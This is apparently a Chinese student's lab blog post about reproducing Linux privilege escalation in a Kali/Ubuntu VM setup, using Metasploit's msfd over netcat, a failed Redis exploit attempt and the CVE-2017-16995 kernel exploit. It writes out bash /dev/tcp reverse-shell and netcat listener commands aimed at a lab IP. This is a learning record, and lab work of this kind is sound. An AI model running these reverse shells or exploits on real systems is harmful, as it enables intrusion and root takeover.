Metasploit上使用RPC方式复现一个Linux提权漏洞

  1. 学习了几天pwn的栈溢出知识后,收到了期待已久的任务——在metasploit上使用RPC的方式复现一个Linux提权漏洞,学长说这是一个偏向探索性质的,为了督促自己和提高效率,利用这种方式记录下学习进度。

  2. Metasploit之前在实验课上接触过,不过没有什么印象了,毕竟实验课很水,基本是照着指导书做一次。所以在强大的B站中找了相关视频做了了解和学习。

  3. RPC全称远程过程调用,是相对于本地远程调用而言的,看了一些网上的文章大致了解了一下,具体的会在探索学习中一步一步解释。

  4. 对任务的初步理解为在攻击机上搭建metasploit环境,利用metasploit中的exploit对Linux靶机进行RPC渗透并提权。

Metasploit上使用RPC方式复现一个Linux提权漏洞

刚刚拿到任务时,我的理解是利用Metasploit工具对Linux系统进行渗透并提权
发现没有涉及到RPC方式,对RPC只知道是远程过程调用,不知道具体用法。难道是
利用RPC远程调用Linux上的Metasploit进行渗透提权,好像也说不通。

请教了一下学长,在学长的解释下有了大致的理解,Metasploit上有个msfd命令,
利用它与靶机建立连接,通过msfd去使用metasploit。靶机上不需要有metasploit,
可以直接在靶机上运行一个反弹shell来建立连接。

把现在的问题再梳理一下:

1.metasploit的使用 msfd nc

2.环境的搭建
攻击机:Kali
靶机: Linux (存在漏洞?)
Ubuntu Server:
内核:4.18.0-25-generic
版本:Ubuntu 18.10

3.如何获得shell并提权

资料:
1. https://www.exploit-db.com/exploits/47195

0x01 配置环境

1.1 安装Ubuntu虚拟机(靶机)

	ip: 192.168.66.136  

1.2 安装redis

参考:https://blog.csdn.net/buyueliuying/article/details/82316517
报错:
1. cc:not found 没有安装gcc环境
- apt install gcc
2. jemalloc/jemalloc.h没有文件
- make MALLOC=libc PREFIX=/usr/local/redis install
3. make test 测试 报出You need tcl 8.5 or newer in order to run the Redis test
- 安装tcl:apt install tcl
4. 解决redis-cli连接时出现Could not connect to Redis at 127.0.0.1:6379: Connection refused
- https://www.cnblogs.com/riding/p/5867187.html
- 可能需要安装redis-server:apt install redis-server
至于为什么要安装redis呢?主要是为了使用redis 4.x/5.x的漏洞,
详见https://www.exploit-db.com/exploits/47195

1.3 安装kali Linux(攻击机)

			 ip: 192.168.66.135

0x02 msfd

	启动MSF的主机: msfd -a 192.168.66.135 -p 2323
	远程主机: nc 192.168.66.135 2323

在这里插入图片描述
问题来了,好像与设想的结果正好相反,攻击靶机,且是靶机上没有metasploit,是不能使用msfd命令的,只能使用nc命令,但是建立连接后却是在靶机上打开了msfconsole,不是应该在攻击机上运行msfconsole吗?

突然想到反弹shell,这样就可以在kali上对靶机系统进行操作了

kali上设置监听:nc -lvp 7777
ubuntu上设置反弹连接:/bin/bash  -i  >& /dev/tcp/192.168.66.135/7777 0>&1 

尝试了一下,大致的流程是这样的:
	1. kali: msfd -a 192.168.66.135 -p 2323 (此时kali打开2323 )
	2. Kali: nc -lvp 7777 (打开7777端口进行监听)
	3. ubuntu: /bin/bash -i >& /dev/tcp/192.168.66.135/7777 0>&1  (此时反弹shell连接成功,可在kali控制Ubuntu)
	4. kali(Ubuntu): nc 192.168.66.135 2323  (连接msfd,此时开启msfconsole)

反弹shell参考:https://xz.aliyun.com/t/2549

0x03 告一段落

做到这里,我们已经成功拿到了靶机的shell,并且能够使用metasploit进
行下一步操作,接下了的任务就是要探索提权了,因为靶机上直接运行的就
是root用户,已经有了最高权限,接下来要降权,从普通用户一步一步get
到root权限,此后metasploit就要大显神威了,具体如何还得走一步看一步……

0x04 降权连接shell

到这里又出现了点小问题,在非root用户下利用/bin/bash不起作用,报错:  
bash:/bin/bash:Not a directory

将命令换成:bash -i >& /dev/tcp/192.168.66.135/7777 0>&1

成功了!!!

0x05 redis漏洞

漏洞地址:https://www.exploit-db.com/exploits/47195
这是一个redis 4.x/5.x漏洞,适用于Linux系统,并且是Remote型
根据这个文章做了尝试:https://blog.csdn.net/dust_hk/article/details/95382694

总感觉与预想的有些偏离,结果也没有成功。

分析一下原因,我觉得是漏洞利用方式不正确,我获得了反弹shell,说明此时是在ubuntu系统上进行操作,而参考文章上是在攻击机kali上利用漏洞进行攻击

利用失败了。。。
在这里插入图片描述

0x06 转为本地提权

漏洞:CVE-2017-16995
exploit下载地址:https://github.com/iBearcat/CVE-2017-16995
参考:https://blog.csdn.net/Fly_hps/article/details/80085750

在这里插入图片描述
版本是18.10的,抱着试试看的态度做了一下,发现被拒绝了
在这里插入图片描述
只好乖乖下载对应的版本复现了。

0x07 更换靶机

靶机版本:

Linux Kernel Version 4.14-4.4
仅影响Ubuntu/Debian发行版本
ubuntu 16.04.4 LTS

链接:https://pan.baidu.com/s/1UFKyp_6MipmWFvimseJTZA
提取码:qdyh

在这里插入图片描述

内核不在影响范围之内,按照上面博客的方法进行更换

在这里插入图片描述
sudo gedit /boot/grub/grub.cfg
在这里插入图片描述
保存后重启

0x08 靶机上进行漏洞利用

(1)下载exploit到本地

git clone https://github.com/iBearcat/CVE-2017-16995.git

(2) 编译exploit
在这里插入图片描述
(3)运行exploit并提权
在这里插入图片描述

0x09 利用kali机和msfd命令进行攻击

靶机ip
在这里插入图片描述
攻击机ip
在这里插入图片描述
具体过程参考0x02

在这里插入图片描述
一直不出结果,我还以为失败了呢,输入whoami一查,证明我成功了
在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值